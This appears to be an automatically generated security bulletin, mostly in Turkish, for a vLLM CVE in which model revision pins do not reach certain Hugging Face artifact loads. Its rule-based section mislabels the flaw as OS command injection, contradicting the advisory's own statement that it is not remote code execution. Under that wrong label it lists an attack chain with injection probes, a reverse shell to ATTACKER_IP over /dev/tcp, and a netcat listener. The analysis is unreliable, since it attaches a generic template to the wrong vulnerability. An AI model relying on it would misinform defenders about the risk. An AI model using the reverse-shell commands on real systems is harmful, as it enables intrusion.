CWE-348
vLLM is an inference and serving engine for large language models. In versions from 0.22.1 through 0.28.0, the operator-supplied model revision pin (--revision / --code-revision) is not propagated to several Hugging Face artifact loads for the FunAudioChat and Tarsier2 architectures: the WhisperFeatureExtractor and speech_tokenizer PreTrainedTokenizerFast loads in vllm/model_executor/models/funaudiochat.py and the Qwen2VLConfig.from_pretrained call used by Tarsier2ProcessingInfo in vllm/model_executor/models/qwen2_vl.py. As a result, deployments pinned to a reviewed revision still resolve these behavior-affecting processor, tokenizer, and config artifacts from the repository's default revision, so a later change to the upstream default branch can alter audio preprocessing, speech tokenizer behavior, or Tarsier2 configuration without any change to the operator's configured pin. This is a supply-chain integrity and reproducibility failure for pinned deployments; it is residual to the earlier fix tracked as GHSA-3ww4-5jv9-j5gm / CVE-2026-47155 and does not constitute remote code execution or a trust_remote_code=False bypass. The issue is fixed in version 0.28.0.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-100653
CVSS 6.5/10 · ORTA · 26.09.2026
CWE: CWE-348
Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🎯 AÇIK NEDİR?
OS Command Injection
Açıklama: vLLM is an inference and serving engine for large language models. In versions from 0.22.1 through 0.28.0, the operator-supplied model revision pin (--revision / --code-revision) is not propagated to several Hugging Face artifact loads for the FunAudioChat and Tarsier2 architectures: the WhisperFeatureExtractor and speech_tokenizer PreTrainedTokenizerFast loads in vllm/model_executor/models/fun…
Etkilenen: vllm:vllm
⚡ SALDIRI ZİNCİRİ
Saldırı adımları:
1. Test: ; id veya | id ile komut çalıştırılıp çalıştırılmadığı kontrol edilir.
2. Blind: ; sleep 5 ile gecikme oluşturulur.
3. Reverse shell: ; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
4. Windows: & whoami / | dir C:\
5. Netcat listener: nc -lvnp 4444
🔧 Araçlar: commix, Metasploit, manual + netcat
🗺️ MITRE ATT&CK: T1059 (Command and Scripting Interpreter), T1190
🌍 GERÇEK DÜNYA ETKİSİ
Tüm gizli veriler okunabilir/çalınabilir; sistem verileri değiştirilebilir/silinebilir.
🛡️ ÇÖZÜM VE MİTİGASYON
→ vllm:vllm için üretici güvenlik güncellemesini uygula.
→ Kullanıcı girdisini asla shell komutuna geçirme.
→ Yama öncesi: servis erişimini VPN arkasına al veya IP whitelist uygula.
→ WAF kuralı ekle, anormal trafik için IDS alert oluştur.
⚠️ ACİLİYET
📋 Rutin güncelleme (30 gün)
────────────────────────────────────────
[Kural Tabanlı Analiz] [💡 config.json dosyasına ai_key (Claude: sk-ant-... veya Groq: gsk_...) ekleyerek gerçek AI analizi kullanabilirsiniz]
[⚠️ AI key mevcut ancak istek başarısız — kural tabanlı analiz kullanıldı]